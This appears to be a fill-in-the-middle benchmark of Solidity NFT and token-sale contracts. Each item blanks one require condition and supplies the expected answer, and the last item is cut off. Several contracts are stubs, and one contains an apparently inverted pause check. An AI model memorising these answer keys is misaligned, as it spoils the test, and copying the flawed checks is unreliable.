// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████▓▀██████████████████████████████████████████████
// ██████████████████████████████████ ╙███████████████████████████████████████████
// ███████████████████████████████████ ╙████████████████████████████████████████
// ████████████████████████████████████ ╙▀████████████████████████████████████
// ████████████████████████████████████▌ ╙▀█████████████████████████████████
// ████████████████████████████████████▌ ╙███████████████████████████████
// ████████████████████████████████████▌ ███████████████████████████████
// ████████████████████████████████████▌ ▄█████████████████████████████████
// ████████████████████████████████████ ▄████████████████████████████████████
// ███████████████████████████████████▀ ,▄███████████████████████████████████████
// ██████████████████████████████████▀ ,▄██████████████████████████████████████████
// █████████████████████████████████▄▓█████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
import {ReentrancyGuard} from "openzeppelin-contracts/contracts/security/ReentrancyGuard.sol";
import {ClonesWithImmutableArgs} from "clones-with-immutable-args/ClonesWithImmutableArgs.sol";
import {ERC721A} from "../tokens/ERC721A.sol";
import {AuthGuard} from "../core/AuthGuard.sol";
import {Payable} from "../core/Payable.sol";
contract Editions is ReentrancyGuard, AuthGuard, Payable {
using ClonesWithImmutableArgs for address;
ERC721A public implementation;
mapping(uint64 => EditionsData) public editionsData;
mapping(address => uint256) public fixedFees;
uint256 public percentFee;
uint256 internal constant BASIS_POINTS = 10000;
bytes4 public constant SIGNER_ROLE = bytes4(keccak256("SIGNER_ROLE"));
bytes4 public constant CREATE_ROLE = bytes4(keccak256("CREATE_ROLE"));
bytes4 public constant UPDATE_ROLE = bytes4(keccak256("UPDATE_ROLE"));
struct EditionsData {
address paymentAddress;
address paymentToken;
ERC721A clone;
uint64 startTime;
uint64 endTime;
uint64 maxEditions;
uint32 minEditions;
uint32 mintLimit;
uint pricePerEdition;
bool closed;
}
event EditionCreated(uint indexed cid, EditionsData newEdition);
event EditionUpdated(uint indexed cid, EditionsData updatedEdition);
/**
* @dev Constructor for the Editions contract.
* @param _registry Address of the registry.
* @param _implementation Address of the ERC721A implementation.
* @param _nativeFixedFee Fixed fee for native token.
* @param _percentFee Percentage fee for minting.
*/
constructor(
address _registry,
ERC721A _implementation,
uint256 _nativeFixedFee,
uint256 _percentFee
) Payable(_registry) {
}
struct CreateEditionParams {
uint64 id;
uint32 minEditions;
uint64 maxEditions;
uint64 startTime;
uint64 endTime;
uint pricePerEdition;
uint32 mintLimit;
address paymentToken;
address paymentAddress;
address formatter;
uint royaltyBPS;
}
/**
* @dev Create a new edition.
* @param params Parameters for the new edition.
* @return clone Address of the new ERC721A clone.
*/
function createEdition(
CreateEditionParams memory params
)
external
onlyAuthorizedById(params.id, CREATE_ROLE)
returns (ERC721A clone)
{
}
/**
* @dev Update an existing edition.
* @param _id ID of the edition to update.
* @param _startTime Updated start time.
* @param _endTime Updated end time.
* @param _minEditions Updated minimum editions.
* @param _maxEditions Updated maximum editions.
* @param _pricePerEdition Updated price per edition.
* @param _mintLimit Updated mint limit.
*/
function updateEdition(
uint64 _id,
uint64 _startTime,
uint64 _endTime,
uint32 _minEditions,
uint64 _maxEditions,
uint _pricePerEdition,
uint32 _mintLimit
) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
/**
* @dev Mint a specific edition.
* @param _id ID of the edition to mint.
* @param _to Address to mint the edition to.
* @param _quantity Quantity of editions to mint.
*/
function mint(uint64 _id, address _to, uint _quantity) public payable {
EditionsData storage editionData = editionsData[_id];
require(!editionData.closed, "Edition is closed");
uint totalMinted = editionData.clone.totalSupply();
uint totalToMint = totalMinted + _quantity;
// Ensure that the total number of editions to be minted does not exceed the maxEditions (if set)
require(
editionData.maxEditions == 0 ||
totalToMint <= editionData.maxEditions,
"Exceeds max editions"
);
// Ensure that the current block.timestamp is between the startTime and endTime (if set)
require(<FILL_ME>)
// Ensure that the total number of editions minted does not exceed the mintLimit (if set)
require(
editionData.mintLimit == 0 || _quantity <= editionData.mintLimit,
"Exceeds mint limit"
);
if (editionData.paymentToken == address(0)) {
_receiveNative(
msg.sender,
editionData.paymentAddress,
editionData.pricePerEdition,
_quantity,
_id
);
} else {
_receiveERC20(
msg.sender,
editionData.paymentAddress,
editionData.paymentToken,
editionData.pricePerEdition,
_quantity,
_id
);
}
editionData.clone.mint(_to, _quantity);
}
/**
* @dev Close an edition.
* @param _id ID of the edition to close.
*/
function close(uint64 _id) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
/**
* @dev Open a closed edition.
* @param _id ID of the edition to open.
*/
function open(uint64 _id) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
struct SignatureMintParams {
uint64 id;
address to;
uint quantity;
uint32 maxEditions;
uint64 startTime;
uint64 endTime;
uint pricePerEdition;
uint32 mintLimit;
bytes signature;
address signer;
}
/**
* @dev Mint an edition using a signature.
* @param params Parameters for the signature mint.
*/
function signatureMint(
SignatureMintParams memory params
) public payable onlyAuthorizedByUser(params.signer, SIGNER_ROLE) {
}
/**
* @dev Calculate the fee for a specific edition.
* @param _unitPrice Unit price of the edition.
* @param _quantity Quantity of editions to mint.
* @param _token Address of the payment token.
* @return fee Calculated fee.
*/
function calculateFee(
uint256 _unitPrice,
uint256 _quantity,
address _token
) public view override returns (uint256) {
}
/**
* @dev Update the fixed fee for a specific token.
* @param _token Address of the token.
* @param _newFixedFee New fixed fee for the token.
*/
function updateFixedFee(
address _token,
uint256 _newFixedFee
) external onlyAdmin {
}
/**
* @dev Update the percent fee.
* @param _newPercentFee New percent fee for the token.
*/
function updatePercentFee(uint256 _newPercentFee) external onlyAdmin {
}
function verifySignature(
uint cid,
address to,
uint maxEditions,
uint startTime,
uint endTime,
uint pricePerEdition,
uint mintLimit,
bytes memory signature
) public pure returns (address) {
}
function getMessageHash(
uint cid,
address to,
uint maxEditions,
uint startTime,
uint endTime,
uint pricePerEdition,
uint mintLimit
) public pure returns (bytes32) {
}
function recoverSigner(
bytes32 messageHash,
uint8 v,
bytes32 r,
bytes32 s
) public pure returns (address) {
}
}
| (editionData.startTime==0||block.timestamp>=editionData.startTime)&&(editionData.endTime==0||block.timestamp<=editionData.endTime),"Outside the minting window" | 83,866 | (editionData.startTime==0||block.timestamp>=editionData.startTime)&&(editionData.endTime==0||block.timestamp<=editionData.endTime) |
"Edition is already open" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████▓▀██████████████████████████████████████████████
// ██████████████████████████████████ ╙███████████████████████████████████████████
// ███████████████████████████████████ ╙████████████████████████████████████████
// ████████████████████████████████████ ╙▀████████████████████████████████████
// ████████████████████████████████████▌ ╙▀█████████████████████████████████
// ████████████████████████████████████▌ ╙███████████████████████████████
// ████████████████████████████████████▌ ███████████████████████████████
// ████████████████████████████████████▌ ▄█████████████████████████████████
// ████████████████████████████████████ ▄████████████████████████████████████
// ███████████████████████████████████▀ ,▄███████████████████████████████████████
// ██████████████████████████████████▀ ,▄██████████████████████████████████████████
// █████████████████████████████████▄▓█████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
import {ReentrancyGuard} from "openzeppelin-contracts/contracts/security/ReentrancyGuard.sol";
import {ClonesWithImmutableArgs} from "clones-with-immutable-args/ClonesWithImmutableArgs.sol";
import {ERC721A} from "../tokens/ERC721A.sol";
import {AuthGuard} from "../core/AuthGuard.sol";
import {Payable} from "../core/Payable.sol";
contract Editions is ReentrancyGuard, AuthGuard, Payable {
using ClonesWithImmutableArgs for address;
ERC721A public implementation;
mapping(uint64 => EditionsData) public editionsData;
mapping(address => uint256) public fixedFees;
uint256 public percentFee;
uint256 internal constant BASIS_POINTS = 10000;
bytes4 public constant SIGNER_ROLE = bytes4(keccak256("SIGNER_ROLE"));
bytes4 public constant CREATE_ROLE = bytes4(keccak256("CREATE_ROLE"));
bytes4 public constant UPDATE_ROLE = bytes4(keccak256("UPDATE_ROLE"));
struct EditionsData {
address paymentAddress;
address paymentToken;
ERC721A clone;
uint64 startTime;
uint64 endTime;
uint64 maxEditions;
uint32 minEditions;
uint32 mintLimit;
uint pricePerEdition;
bool closed;
}
event EditionCreated(uint indexed cid, EditionsData newEdition);
event EditionUpdated(uint indexed cid, EditionsData updatedEdition);
/**
* @dev Constructor for the Editions contract.
* @param _registry Address of the registry.
* @param _implementation Address of the ERC721A implementation.
* @param _nativeFixedFee Fixed fee for native token.
* @param _percentFee Percentage fee for minting.
*/
constructor(
address _registry,
ERC721A _implementation,
uint256 _nativeFixedFee,
uint256 _percentFee
) Payable(_registry) {
}
struct CreateEditionParams {
uint64 id;
uint32 minEditions;
uint64 maxEditions;
uint64 startTime;
uint64 endTime;
uint pricePerEdition;
uint32 mintLimit;
address paymentToken;
address paymentAddress;
address formatter;
uint royaltyBPS;
}
/**
* @dev Create a new edition.
* @param params Parameters for the new edition.
* @return clone Address of the new ERC721A clone.
*/
function createEdition(
CreateEditionParams memory params
)
external
onlyAuthorizedById(params.id, CREATE_ROLE)
returns (ERC721A clone)
{
}
/**
* @dev Update an existing edition.
* @param _id ID of the edition to update.
* @param _startTime Updated start time.
* @param _endTime Updated end time.
* @param _minEditions Updated minimum editions.
* @param _maxEditions Updated maximum editions.
* @param _pricePerEdition Updated price per edition.
* @param _mintLimit Updated mint limit.
*/
function updateEdition(
uint64 _id,
uint64 _startTime,
uint64 _endTime,
uint32 _minEditions,
uint64 _maxEditions,
uint _pricePerEdition,
uint32 _mintLimit
) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
/**
* @dev Mint a specific edition.
* @param _id ID of the edition to mint.
* @param _to Address to mint the edition to.
* @param _quantity Quantity of editions to mint.
*/
function mint(uint64 _id, address _to, uint _quantity) public payable {
}
/**
* @dev Close an edition.
* @param _id ID of the edition to close.
*/
function close(uint64 _id) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
/**
* @dev Open a closed edition.
* @param _id ID of the edition to open.
*/
function open(uint64 _id) external onlyAuthorizedById(_id, UPDATE_ROLE) {
EditionsData storage editionData = editionsData[_id];
require(<FILL_ME>)
editionData.closed = false;
}
struct SignatureMintParams {
uint64 id;
address to;
uint quantity;
uint32 maxEditions;
uint64 startTime;
uint64 endTime;
uint pricePerEdition;
uint32 mintLimit;
bytes signature;
address signer;
}
/**
* @dev Mint an edition using a signature.
* @param params Parameters for the signature mint.
*/
function signatureMint(
SignatureMintParams memory params
) public payable onlyAuthorizedByUser(params.signer, SIGNER_ROLE) {
}
/**
* @dev Calculate the fee for a specific edition.
* @param _unitPrice Unit price of the edition.
* @param _quantity Quantity of editions to mint.
* @param _token Address of the payment token.
* @return fee Calculated fee.
*/
function calculateFee(
uint256 _unitPrice,
uint256 _quantity,
address _token
) public view override returns (uint256) {
}
/**
* @dev Update the fixed fee for a specific token.
* @param _token Address of the token.
* @param _newFixedFee New fixed fee for the token.
*/
function updateFixedFee(
address _token,
uint256 _newFixedFee
) external onlyAdmin {
}
/**
* @dev Update the percent fee.
* @param _newPercentFee New percent fee for the token.
*/
function updatePercentFee(uint256 _newPercentFee) external onlyAdmin {
}
function verifySignature(
uint cid,
address to,
uint maxEditions,
uint startTime,
uint endTime,
uint pricePerEdition,
uint mintLimit,
bytes memory signature
) public pure returns (address) {
}
function getMessageHash(
uint cid,
address to,
uint maxEditions,
uint startTime,
uint endTime,
uint pricePerEdition,
uint mintLimit
) public pure returns (bytes32) {
}
function recoverSigner(
bytes32 messageHash,
uint8 v,
bytes32 r,
bytes32 s
) public pure returns (address) {
}
}
| editionData.closed,"Edition is already open" | 83,866 | editionData.closed |
"Outside the minting window" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████▓▀██████████████████████████████████████████████
// ██████████████████████████████████ ╙███████████████████████████████████████████
// ███████████████████████████████████ ╙████████████████████████████████████████
// ████████████████████████████████████ ╙▀████████████████████████████████████
// ████████████████████████████████████▌ ╙▀█████████████████████████████████
// ████████████████████████████████████▌ ╙███████████████████████████████
// ████████████████████████████████████▌ ███████████████████████████████
// ████████████████████████████████████▌ ▄█████████████████████████████████
// ████████████████████████████████████ ▄████████████████████████████████████
// ███████████████████████████████████▀ ,▄███████████████████████████████████████
// ██████████████████████████████████▀ ,▄██████████████████████████████████████████
// █████████████████████████████████▄▓█████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
// ████████████████████████████████████████████████████████████████████████████████
import {ReentrancyGuard} from "openzeppelin-contracts/contracts/security/ReentrancyGuard.sol";
import {ClonesWithImmutableArgs} from "clones-with-immutable-args/ClonesWithImmutableArgs.sol";
import {ERC721A} from "../tokens/ERC721A.sol";
import {AuthGuard} from "../core/AuthGuard.sol";
import {Payable} from "../core/Payable.sol";
contract Editions is ReentrancyGuard, AuthGuard, Payable {
using ClonesWithImmutableArgs for address;
ERC721A public implementation;
mapping(uint64 => EditionsData) public editionsData;
mapping(address => uint256) public fixedFees;
uint256 public percentFee;
uint256 internal constant BASIS_POINTS = 10000;
bytes4 public constant SIGNER_ROLE = bytes4(keccak256("SIGNER_ROLE"));
bytes4 public constant CREATE_ROLE = bytes4(keccak256("CREATE_ROLE"));
bytes4 public constant UPDATE_ROLE = bytes4(keccak256("UPDATE_ROLE"));
struct EditionsData {
address paymentAddress;
address paymentToken;
ERC721A clone;
uint64 startTime;
uint64 endTime;
uint64 maxEditions;
uint32 minEditions;
uint32 mintLimit;
uint pricePerEdition;
bool closed;
}
event EditionCreated(uint indexed cid, EditionsData newEdition);
event EditionUpdated(uint indexed cid, EditionsData updatedEdition);
/**
* @dev Constructor for the Editions contract.
* @param _registry Address of the registry.
* @param _implementation Address of the ERC721A implementation.
* @param _nativeFixedFee Fixed fee for native token.
* @param _percentFee Percentage fee for minting.
*/
constructor(
address _registry,
ERC721A _implementation,
uint256 _nativeFixedFee,
uint256 _percentFee
) Payable(_registry) {
}
struct CreateEditionParams {
uint64 id;
uint32 minEditions;
uint64 maxEditions;
uint64 startTime;
uint64 endTime;
uint pricePerEdition;
uint32 mintLimit;
address paymentToken;
address paymentAddress;
address formatter;
uint royaltyBPS;
}
/**
* @dev Create a new edition.
* @param params Parameters for the new edition.
* @return clone Address of the new ERC721A clone.
*/
function createEdition(
CreateEditionParams memory params
)
external
onlyAuthorizedById(params.id, CREATE_ROLE)
returns (ERC721A clone)
{
}
/**
* @dev Update an existing edition.
* @param _id ID of the edition to update.
* @param _startTime Updated start time.
* @param _endTime Updated end time.
* @param _minEditions Updated minimum editions.
* @param _maxEditions Updated maximum editions.
* @param _pricePerEdition Updated price per edition.
* @param _mintLimit Updated mint limit.
*/
function updateEdition(
uint64 _id,
uint64 _startTime,
uint64 _endTime,
uint32 _minEditions,
uint64 _maxEditions,
uint _pricePerEdition,
uint32 _mintLimit
) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
/**
* @dev Mint a specific edition.
* @param _id ID of the edition to mint.
* @param _to Address to mint the edition to.
* @param _quantity Quantity of editions to mint.
*/
function mint(uint64 _id, address _to, uint _quantity) public payable {
}
/**
* @dev Close an edition.
* @param _id ID of the edition to close.
*/
function close(uint64 _id) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
/**
* @dev Open a closed edition.
* @param _id ID of the edition to open.
*/
function open(uint64 _id) external onlyAuthorizedById(_id, UPDATE_ROLE) {
}
struct SignatureMintParams {
uint64 id;
address to;
uint quantity;
uint32 maxEditions;
uint64 startTime;
uint64 endTime;
uint pricePerEdition;
uint32 mintLimit;
bytes signature;
address signer;
}
/**
* @dev Mint an edition using a signature.
* @param params Parameters for the signature mint.
*/
function signatureMint(
SignatureMintParams memory params
) public payable onlyAuthorizedByUser(params.signer, SIGNER_ROLE) {
address signer = verifySignature(
params.id,
params.to,
params.maxEditions,
params.startTime,
params.endTime,
params.pricePerEdition,
params.mintLimit,
params.signature
);
require(signer == params.signer, "UNAUTHORIZED");
EditionsData memory editionData = editionsData[params.id];
require(!editionData.closed, "Edition is closed");
uint totalMinted = editionData.clone.totalSupply();
uint totalToMint = totalMinted + params.quantity;
// Ensure that the total number of editions to be minted does not exceed the maxEditions (if set)
require(
params.maxEditions == 0 || totalToMint <= params.maxEditions,
"Exceeds max editions"
);
// Ensure that the current block.timestamp is between the startTime and endTime (if set)
require(<FILL_ME>)
// Ensure that the total number of editions minted does not exceed the mintLimit (if set)
require(
params.mintLimit == 0 || params.quantity <= params.mintLimit,
"Exceeds mint limit"
);
if (editionData.paymentToken == address(0)) {
_receiveNative(
msg.sender,
editionData.paymentAddress,
params.pricePerEdition,
params.quantity,
params.id
);
} else {
_receiveERC20(
msg.sender,
editionData.paymentAddress,
editionData.paymentToken,
params.pricePerEdition,
params.quantity,
params.id
);
}
editionData.clone.mint(params.to, params.quantity);
}
/**
* @dev Calculate the fee for a specific edition.
* @param _unitPrice Unit price of the edition.
* @param _quantity Quantity of editions to mint.
* @param _token Address of the payment token.
* @return fee Calculated fee.
*/
function calculateFee(
uint256 _unitPrice,
uint256 _quantity,
address _token
) public view override returns (uint256) {
}
/**
* @dev Update the fixed fee for a specific token.
* @param _token Address of the token.
* @param _newFixedFee New fixed fee for the token.
*/
function updateFixedFee(
address _token,
uint256 _newFixedFee
) external onlyAdmin {
}
/**
* @dev Update the percent fee.
* @param _newPercentFee New percent fee for the token.
*/
function updatePercentFee(uint256 _newPercentFee) external onlyAdmin {
}
function verifySignature(
uint cid,
address to,
uint maxEditions,
uint startTime,
uint endTime,
uint pricePerEdition,
uint mintLimit,
bytes memory signature
) public pure returns (address) {
}
function getMessageHash(
uint cid,
address to,
uint maxEditions,
uint startTime,
uint endTime,
uint pricePerEdition,
uint mintLimit
) public pure returns (bytes32) {
}
function recoverSigner(
bytes32 messageHash,
uint8 v,
bytes32 r,
bytes32 s
) public pure returns (address) {
}
}
| (params.startTime==0||block.timestamp>=params.startTime)&&(params.endTime==0||block.timestamp<=params.endTime),"Outside the minting window" | 83,866 | (params.startTime==0||block.timestamp>=params.startTime)&&(params.endTime==0||block.timestamp<=params.endTime) |
"No NFTs lefts!" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract ArtBaselPunks is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => uint256) public alreadyFreeMinted;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public MAX_FREE_PER_WALLET = 1;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public paused = true;
bool public whitelistMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mint(uint256 amount) external payable
{
require(amount <= maxMintAmountPerTx,"Maximum of 10 per txn!");
require(<FILL_ME>)
require(paused, "Mint not started yet.");
uint payForCount = amount;
uint minted = alreadyFreeMinted[_msgSender()];
if(minted < MAX_FREE_PER_WALLET && _totalMinted() < maxSupply) {
uint remainingFreeMints = MAX_FREE_PER_WALLET - minted;
if(amount > remainingFreeMints) {
payForCount = amount - remainingFreeMints;
}
else {
payForCount = 0;
}
}
require(
msg.value >= payForCount * cost,
'Ether value sent is not sufficient'
);
alreadyFreeMinted[_msgSender()] += amount;
_safeMint(_msgSender(), amount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxFreePerWallet(uint256 _MAX_FREE_PER_WALLET) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| _totalMinted()+amount<=maxSupply,"No NFTs lefts!" | 83,867 | _totalMinted()+amount<=maxSupply |
"Purchase only once" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ILGGNFT {
function safeMintBlindBox(address to) external;
}
contract IdoNftNew is Ownable {
bool public open;
bool public done;
bool public publicSell;
mapping (address => bool) public whitelist;
mapping (address => bool) public doneAddress;
uint256 public sellcount = 388;
uint256 public sales;
uint256 public boxTokenPrices = 8 * 10 ** 16;
ILGGNFT public token;
address public beneficiary = address(0xB02ae6be01E1920798561C21eb26952Af7549e69);
uint256 public whitelistCount = 200;
uint256 public whitelistSales;
constructor(ILGGNFT _token){
}
function buyBox() external payable {
uint256 _boxesLength = 1;
require(publicSell, "No launch");
require(!done, "Finish");
require(_boxesLength > 0, "Boxes length must > 0");
address sender = msg.sender;
require(<FILL_ME>)
uint256 price = _boxesLength * boxTokenPrices;
uint256 amount = msg.value;
require(amount >= price, "Transfer amount error");
doneAddress[sender] = true;
for (uint256 i = 0; i < _boxesLength; i++) {
require(sales < sellcount, "Sell out");
sales += 1;
if(sales >= sellcount){
done = true;
}
token.safeMintBlindBox(sender);
}
payable(beneficiary).transfer(price);
emit Buy(sender, beneficiary, price);
}
function whitelistBuy() external payable {
}
function setWhitelist(address[] memory _accounts) public onlyOwner {
}
function delWhitelist(address[] memory _accounts) public onlyOwner {
}
function setSellcount(uint256 _count) public onlyOwner {
}
function setWhitelistCount(uint256 _whitelistCount) public onlyOwner {
}
function setBoxTokenPrices(uint256 _boxTokenPrices) public onlyOwner {
}
function setOpen(bool _open) public onlyOwner {
}
function setDone(bool _done) public onlyOwner {
}
function setPublicSell(bool _publicSell) public onlyOwner {
}
function setToken(ILGGNFT _token) public onlyOwner {
}
function setBeneficiary(address _beneficiary) public onlyOwner {
}
receive() external payable {}
fallback() external payable {}
/* ========== EMERGENCY ========== */
/*
Users make mistake by transferring usdt/busd ... to contract address.
This function allows contract owner to withdraw those tokens and send back to users.
*/
function rescueStuckToken(address _token) external onlyOwner {
}
function refund(address _addr, uint256 _amount) external onlyOwner {
}
/* ========== EVENTS ========== */
event Buy(address indexed user, address indexed beneficiary, uint256 amount);
}
| !doneAddress[sender],"Purchase only once" | 83,906 | !doneAddress[sender] |
"Account is not already whitelist" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ILGGNFT {
function safeMintBlindBox(address to) external;
}
contract IdoNftNew is Ownable {
bool public open;
bool public done;
bool public publicSell;
mapping (address => bool) public whitelist;
mapping (address => bool) public doneAddress;
uint256 public sellcount = 388;
uint256 public sales;
uint256 public boxTokenPrices = 8 * 10 ** 16;
ILGGNFT public token;
address public beneficiary = address(0xB02ae6be01E1920798561C21eb26952Af7549e69);
uint256 public whitelistCount = 200;
uint256 public whitelistSales;
constructor(ILGGNFT _token){
}
function buyBox() external payable {
}
function whitelistBuy() external payable {
require(whitelistSales < whitelistCount, "Sell out...");
require(open, "No launch");
address sender = msg.sender;
uint256 price = boxTokenPrices;
uint256 amount = msg.value;
require(amount >= price, "Transfer amount error");
require(<FILL_ME>)
whitelist[sender] = false;
whitelistSales += 1;
token.safeMintBlindBox(sender);
payable(beneficiary).transfer(price);
}
function setWhitelist(address[] memory _accounts) public onlyOwner {
}
function delWhitelist(address[] memory _accounts) public onlyOwner {
}
function setSellcount(uint256 _count) public onlyOwner {
}
function setWhitelistCount(uint256 _whitelistCount) public onlyOwner {
}
function setBoxTokenPrices(uint256 _boxTokenPrices) public onlyOwner {
}
function setOpen(bool _open) public onlyOwner {
}
function setDone(bool _done) public onlyOwner {
}
function setPublicSell(bool _publicSell) public onlyOwner {
}
function setToken(ILGGNFT _token) public onlyOwner {
}
function setBeneficiary(address _beneficiary) public onlyOwner {
}
receive() external payable {}
fallback() external payable {}
/* ========== EMERGENCY ========== */
/*
Users make mistake by transferring usdt/busd ... to contract address.
This function allows contract owner to withdraw those tokens and send back to users.
*/
function rescueStuckToken(address _token) external onlyOwner {
}
function refund(address _addr, uint256 _amount) external onlyOwner {
}
/* ========== EVENTS ========== */
event Buy(address indexed user, address indexed beneficiary, uint256 amount);
}
| whitelist[sender],"Account is not already whitelist" | 83,906 | whitelist[sender] |
"e" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;
contract FHPDK {
mapping(address => uint256) private flashbotContracts;
function check(uint256 vals) external view returns (bool) {
address sender;
assembly {
sender := shr(96, vals)
}
require(<FILL_ME>)
return true;
}
function addFlashbotContracts(address[] calldata contracts) external {
}
function release() external {
}
}
| flashbotContracts[sender]!=1,"e" | 83,921 | flashbotContracts[sender]!=1 |
"You cannot mint that many total." | pragma solidity ^0.8.9;
contract DarkWarriorNFT is ERC721, Ownable {
using Strings for uint256;
uint public MAX_TOKENS = 1500;
uint private constant TOKENS_RESERVED = 1;
//normal price
uint public price = 0.003 ether;
uint256 public MAX_MINT_PER_TX = 30;
//每个钱包可以free mint的数量
uint256 public freeSupplyWallet = 1;
bool public isSaleActive = true;
uint256 public totalSupply;
mapping(address => uint256) private mintedPerWalletFree;
mapping(address => uint256) private mintedPerWalletCost;
string public baseUri;
string public baseExtension = ".json";
constructor() ERC721("Dark Warriors (AGI)", "SYMBOL") {
}
function mintFree(uint256 _numTokens) external payable {
require(isSaleActive, "The sale is paused.");
require(_numTokens <= freeSupplyWallet, "You cannot mint that many in one transaction.");
require(<FILL_ME>)
uint256 curTotalSupply = totalSupply;
require(curTotalSupply + _numTokens <= MAX_TOKENS, "Exceeds total supply.");
// require(_numTokens * price <= msg.value, "Insufficient funds.");
for(uint256 i = 1; i <= _numTokens; ++i) {
_safeMint(msg.sender, curTotalSupply + i);
}
mintedPerWalletFree[msg.sender] += _numTokens;
totalSupply += _numTokens;
}
// Public Functions
function mintPublic(uint256 _numTokens) external payable {
}
function mintForWeb(uint256 _numTokens) external payable {
}
// Owner-only functions
function setPublicMintEnabled() external onlyOwner {
}
function setBaseUri(string memory _baseUri) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setSupplyPerWallet(uint256 _num) external onlyOwner {
}
function setCollectionSize(uint256 _num) external onlyOwner {
}
function withdrawAll() external payable onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function isAccountMintedFree() view public returns (bool) {
}
function getAccountMintedFree() view public returns (uint256) {
}
}
| mintedPerWalletFree[msg.sender]+mintedPerWalletCost[msg.sender]+_numTokens<=MAX_MINT_PER_TX,"You cannot mint that many total." | 83,956 | mintedPerWalletFree[msg.sender]+mintedPerWalletCost[msg.sender]+_numTokens<=MAX_MINT_PER_TX |
"Exceeds total supply." | pragma solidity ^0.8.9;
contract DarkWarriorNFT is ERC721, Ownable {
using Strings for uint256;
uint public MAX_TOKENS = 1500;
uint private constant TOKENS_RESERVED = 1;
//normal price
uint public price = 0.003 ether;
uint256 public MAX_MINT_PER_TX = 30;
//每个钱包可以free mint的数量
uint256 public freeSupplyWallet = 1;
bool public isSaleActive = true;
uint256 public totalSupply;
mapping(address => uint256) private mintedPerWalletFree;
mapping(address => uint256) private mintedPerWalletCost;
string public baseUri;
string public baseExtension = ".json";
constructor() ERC721("Dark Warriors (AGI)", "SYMBOL") {
}
function mintFree(uint256 _numTokens) external payable {
require(isSaleActive, "The sale is paused.");
